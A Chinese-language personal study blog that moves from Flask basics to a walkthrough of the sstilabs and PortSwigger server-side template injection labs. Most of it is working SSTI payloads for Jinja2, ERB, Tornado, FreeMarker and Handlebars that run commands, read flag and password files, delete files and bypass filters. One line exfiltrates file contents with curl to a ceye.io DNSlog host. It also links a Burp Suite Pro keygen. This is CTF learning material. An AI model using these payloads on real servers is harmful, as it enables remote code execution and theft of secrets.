好好好好好
Python Flask框架学习
前端 - Python Flask框架:零基础web开发入门教程 - 个人文章 - SegmentFault 思否
安装
pip install flask
test
1 | from flask import Flask |
一开始一直404后来才发现是缩进错误。。
使用HTML模板
- 定义了一个名为 user 的字典
user = {'username': 'John', 'age': "20"}
- 使用拼接的HTML字符串来展示 user 字典的数据
<h1>Hello, ''' + user['username'] + '''!, you’re ''' + user['age'] + ''' years old.</h1>
拼接HTML字符串非常容易出错,
因此Flask使用Jinja 2模板引擎来分离数据逻辑和展示层。
1 | Apps folder |
1 | from flask import Flask, render_template |
1 | <html> |
使用表单
e.g.
1 | Apps folder |
app.py 文件
1 | from flask import Flask, render_template, request, redirect, url_for |
bio_form.html 文件
1 |
|
show_bio.html 文件
1 |
|
数据库集成:使用SQLAlchemy
安装
pip install flask-sqlalchemy
然后教程给的是postgresql,但是我研(请)究(教)了(chat)一(老)下(师),感觉用mysql能凑合大部分
1 | 只有在特定情况下,您才需要考虑使用PostgreSQL,比如: |
找了个用MySQL的
Python Web 开发框架Flask快速入门 - 知乎pip install flask-mysqldb
使用(最基础版🚬🚬)
老报错,,gpt🙏🙏🙏
1 | flask-sql.py |
flask-sql.py文件
1 | from flask import Flask, render_template |
index.html文件
1 |
|
http://127.0.0.1:5000/
别的模板
先干ssti去了,,有缘再见
php
Smarty的基本使用与总结 - 那一叶随风 - 博客园
js
EJS – 嵌入式 JavaScript 模板引擎 | EJS 中文文档
sstilabs
X3NNY/sstilabs: A lab to help you learning SSTI
安装
进入sstilabs-master\flasklab文件夹pip install -r requirements.txt
python app.py
一直报错
把requirements.txt改成Flask>=2.0.1
try again
level1
no waf
1 | function ssti() { |
看出来是post方式code={{ ''.__class__ }}
–>{{ ''.__class__ }}
该实例的对应的类
code={{ ''.__class__.__base__ }}
–><class 'object'>
当前类的父类
code={{ ''.__class__.__base__.__subclasses__() }}
–>包含当前类所有子类的一个列表
找到了个get的脚本
1 | import requests as res |
chat老师改了个post的
1 | import requests |
每行三个数字对应:响应包,下标,状态码
有好多。。随机选一个104code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__ }}
选择__import__code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__'] }}
然后有<function __import__ at 0x000002BFB1BC3F60>
所以code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('type .\\flag').read() }}
我搜了一下别人的wp基本都是bp做的,but我电脑坏了之后bp还没装回来,也懒得开虚拟机。。所以先凑合凑合👍🥺
感觉我的做法有一种淳朴的美,不懂的永别了。。。!
level2
过滤了两个花括号,用print{%print ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('type .\\flag').read()%}
level3
no waf但是盲注。。
好像有两种办法nc命令将文件内容/dnslog外带。。
过了一天。。美好的一天从放弃*ctf开始code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('curl http://xxxxxx.ceye.io/`type .\\flag`').read() }}
code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('curl http://xxxxxx.ceye.io/%25%36%30%25%37%34%25%37%39%25%37%30%25%36%35%25%32%30%25%32%65%25%35%63%25%35%63%25%36%36%25%36%63%25%36%31%25%36%37%25%36%30').read() }}
我不明白。。Remote Addr处显示http://xxxxxx.ceye.io/`type ./flag`
变,你给我变啊(大声
特别特别绝望,,先做下一题了
level4
过滤中括号
__getitem__绕中括号限制''.__class__.__base__.__subclasses__()[104]
=''.__class__.__base__.__subclasses__().__getitem__(104)
()["__class__"]
=()|attr("__class__")
=().__getattribute__("__class__")
['__import__']
=.__getitem__('__import__')
psyloadcode={{ ''.__class__.__base__.__subclasses__().__getitem__(104).__init__.__globals__.__getitem__('__import__')('os').popen('type .\\flag').read() }}
level5
过滤了单双引号
详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户
过滤引号
request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
本题payloadcode={{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__[request.values.arg1](request.values.arg2).popen(request.values.arg3).read() }}&arg1=__import__&arg2=os&arg3=type .\\flag
level6
过滤下划线
- 十六位编码
code={{ ''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[104]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os').popen('type .\\flag').read()}}
还有
- Unicode编码
- attr()配合request
level7
过滤.
问就是改改上一题code={{ ''["__class__"]["__base__"]["__subclasses__"]()[104]["__init__"]["__globals__"]['__import__']('os')['popen']('type \x2e\\flag')['read']()}}
还有
- attr()
level8
过滤关键字["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
拼接字符code={{ ''["__cl"+"ass__"]["__ba"+"se__"]["__subcla"+"sses__"]()[104]["__in"+"it__"]["__glo"+"bals__"]['__import__']('os')['pop'+'en']('type \x2e\\flag')['read']()}}
level9
过滤数字
偷偷抄抄改改别人的
for
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('type .\\flag').read()}}{% endif %}{% endfor %}
lipsum
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type .\\flag")|attr("read")()}}
构造数字
不知道为什么构造数字不成功。。- 做到level11回来看一眼
{% set yi=dict(a=a)|join|count %}{% set er=dict()|join|count %}{% set san=dict(aaaaa=a)|join|count %}{% set zh=(yi~er~san)|int %}{{().__class__.__base__.__subclasses__()[zh].__init__.__globals__['__import__']('os').popen('type .\\flag').read()}}
成功
- 做到level11回来看一眼
level10
WAF: set config = None
target: get config
去看了别人的wp
不知道为什么我url_for不成功
但是
get_flashed_messages成功了
{{get_flashed_messages.__globals__['current_app'].config}}
我看了眼{{url_for.__globals__}}
,它就没有’current_app’
level11-13
以下就是跟着别人的wp过一遍
Flask SSTI LAB攻略 – JohnFrod’s Blog
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type /x2e\\flag")|attr("read")()}}
过滤下划线/空格
用{{(lipsum|string|list)}}
获取
下标18为下划线,下标9为空格
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
attr()内字符串构造
1 | {% set pop=dict(pop=a)|join%} |
构造类
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
构造方法
1 | {% set space=(lipsum|string|list)|attr(pop)(9)%} |
完整利用语法
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
合起来
level11
1 | {% set pop=dict(pop=a)|join%} |
是这样,我写到这里才发现type flag
就可以读取了而我每次都败北在怎么处理type .\\flag
的点和杠
level12,13
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %} |
美好的一天从做完sstilabs开始。。。👍🥺
portswigger的Server-side template injection模块
Server-side template injection | Web Security Academy
。。特别特别绝望。。为什么不能全世界都说中国话。。。
美好的一天因为看不懂英文结束。。。👎🥲
Basic server-side template injection
已知:ERB模板,任务是delete the morale.txt file from Carlos’s home directory
别的都可以打开,只有第一个不能,发现是get形式?message=Unfortunately%20this%20product%20is%20out%20of%20stock
搜了ERB注入
手把手教你如何完成Ruby ERB模板注入 - 知乎
先?message=<%= 7 * 7 %>
看看,返回49————熟悉感上来了啊uus。。
?message=<%= system("ls") %>
看看
返回morale.txt true
psyload?message=<%= system("rm /home/carlos/morale.txt") %>
真该死啊题目说Carlos我搞半天才发现要小写才成功
Basic server-side template injection (code context)(全是废话与题无关)
Tornado 模板
题目提示Preferred name
发现这是post传参blog-post-author-display=user.first_name&csrf=bKRQjUQkapqGnDg6fYITYXNuFi6W59Rl
看一眼源代码
1 | <label>Preferred name</label> |
感觉blog-post-author-display 可以被利用(我承认其实是看了wp。。
然后因为我电脑之前坏了bp没了之后一直没装回来,所以一直是是hackbar做的,这题本来要用bp截取流量包,但是我用手速hackbar把加载中的/my-account/change-blog-post-author-display页面load下来了(一开始没看wp时是纯运气好加网慢),但是天有不测风云,,不知道为什么一直卡住,{{7*7}}
都不行,我开了wp对着payload试了都不成功,可能最后还是要bp,,所以!明天见!!!!溜了
等等我在溜之前看了一眼blog发现我一开始打的{{7*7}}
因为忘记加反引号使其成为代码形式,发布出来之后变成了49
然后搜到了Hexo 的模板引擎是默认使用 ejs 编写的
浅析 Hexo 搭建博客的原理 - 掘金
EJS – 嵌入式 JavaScript 模板引擎 | EJS 中文文档
Basic server-side template injection (code context)
搞了半天又看不懂英文又不会用bp。。搜了个wp跟着过了一遍
Server-side template injection (SSTI)学习笔记
原来在blog-post-author-display注入之后是在评论页面看我说怪不得怎么改accout页面都显示wiener
tornado.template — Flexible output generation — Tornado 6.3.2 documentation
user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')`
## Server-side template injection using documentation
登录,没找到什么可利用的,回到主页面打开一个产品页面,查看`Template`
发现有`${product.name}` 这种东西
看了官方给的`@albinowax`这个人的
[Server-Side Template Injection | PortSwigger Research](https://portswigger.net/research/server-side-template-injection )
感觉可能是freemarker输个`${ex("id")}`preview看看
![](https://pic.imgdb.cn/item/64c783601ddac507ccacc309.jpg)
[FAQ - FreeMarker 中文官方参考手册](http://freemarker.foofun.cn/app_faq.html )
[Java安全之freemarker 模板注入 - nice_0e3 - 博客园](https://www.cnblogs.com/nice0e3/p/16217471.html )
`<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex ("rm /home/carlos/morale.txt")}`
## Server-side template injection in an unknown language with a documented exploit
看起来跟第一题很像,`{{7*7}}`
![](https://pic.imgdb.cn/item/64c78a851ddac507ccba8364.jpg)
问了chat老师它说这是Handlebars模板
[介绍 | Handlebars 中文文档 | Handlebars 中文网](https://www.handlebarsjs.cn/guide/#%E4%BB%80%E4%B9%88%E6%98%AF-handlebars )
[Handlebars模板注入到RCE 0day-安全客 - 安全资讯平台](https://www.anquanke.com/post/id/176121 )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{settings.SECRET_KEY}}
Server-side template injection in a sandboxed environment
任务break out of the sandbox to read the file my_password.txt from Carlos’s home directory.
逃逸安全的模板沙箱(一)——FreeMarker(上)
非常自信,嘎嘎乱做👍👍👍
1 | ${product.getClass()} |
显然,最后一句是错的,去搜了个getProtectionDomain()
getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getSchemeSpecificPart()返回内容解析
1 | ${product.getClass().getProtectionDomain().getCodeSource()} |
好了又卡住了,,其实我一开始是尝试去看java官方文档的,不知道是不是我的问题(肯定是我的问题吧🥲🥲🥲),不是没中文版的就是乱糟糟的,,,还有既没翻译又乱糟糟的
看了官方payload${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
也不细讲🥲🥲🥲,感觉这种题对我一个java了解为0的来说太过了,感觉我现在的水平就是看个思(乐)路(子)。
然后解ascii
Server-side template injection with a custom exploit
好复杂,利用文件上传干嘛来着
随机一个文档看看实力
1 | PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: application/vnd.openxmlformats-officedocument.wordprocessingml.document in /home/carlos/User.php:28 |
大概就是/home/carlos/avatar_upload.php文件调用了setAvatar方法
然后会检查上传的文件的MIME类型是否是图片类型
有点晕,不过比上一题清晰点,回头再做
ssti出题尝试
感谢chat老师。。
1 | # app.py |
1 | # Use Python 3 as the base image |
本来想搞个过滤,但是懒得搞了,就当们是签到题吧!
搞点背景和字体,,体现一下我真的有在学习(?
本来想直接偷懒写在app.py内(内嵌样式表),结果css的花括号会占位符还是什么,与和chatgpt辩论三百回合遂罢;把css放在static文件夹内,然后不知道为什么调用路径总是出错,和chatgpt辩论三百回合再罢,最后用内联样式嵌进去。。
HTML引用CSS(4种方法)
1 | # app.py |
payload(显然不唯一。。): ?user={{''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}
啥不知道有没有用的链接堆堆
国内十大图床推荐–一文解决图片图床问题 - 知乎
SSTI(模板注入)–Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园
python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园
CEYE平台的使用 - 时光不改 - 博客园
CEYE - Monitor service for security testing
ssti详解与例题以及绕过payload大全
SSTI入门详解
从Flask入门SSTI
SSTI靶场
flask sssti lab闯关记录
Flask SSTI LAB攻略 – JohnFrod’s Blog
读取pkl文件报错_pickle.UnpicklingError: A load persistent id instruction was encountered
python - no module named ‘ttk’, but its in the folder - Stack Overflow
手把手教你如何完成Ruby ERB模板注入 - 知乎
Burpsuite超详细安装教程
BurpSuite全套使用教程(超实用超详细介绍)
h3110w0r1d-y/BurpLoaderKeygen: Burp Suite Pro Loader & Keygen
Burp Suite Release Notes
🔥【就是加速】百度网盘无限速批量下载 - 支持文件夹下载 🔥
Node.js中child_process模块中spawn与exec的异同比较 - 知乎
内置模板标签和过滤器 | Django 文档 | Django
Django 全局变量|极客教程
巧用DNSlog实现无回显注入 - Afant1 - 博客园
无回显代码执行利用方法 | AdminTony’s Blog
浅析Python SSTI/沙盒逃逸-安全客 - 安全资讯平台
从0到1完全掌握 SSTI - FreeBuf网络安全行业门户
Server-side template injection (SSTI)学习笔记
服务器模板注入 SSTI (Server-side template injection)
从0到1完全掌握 SSTI - FreeBuf网络安全行业门户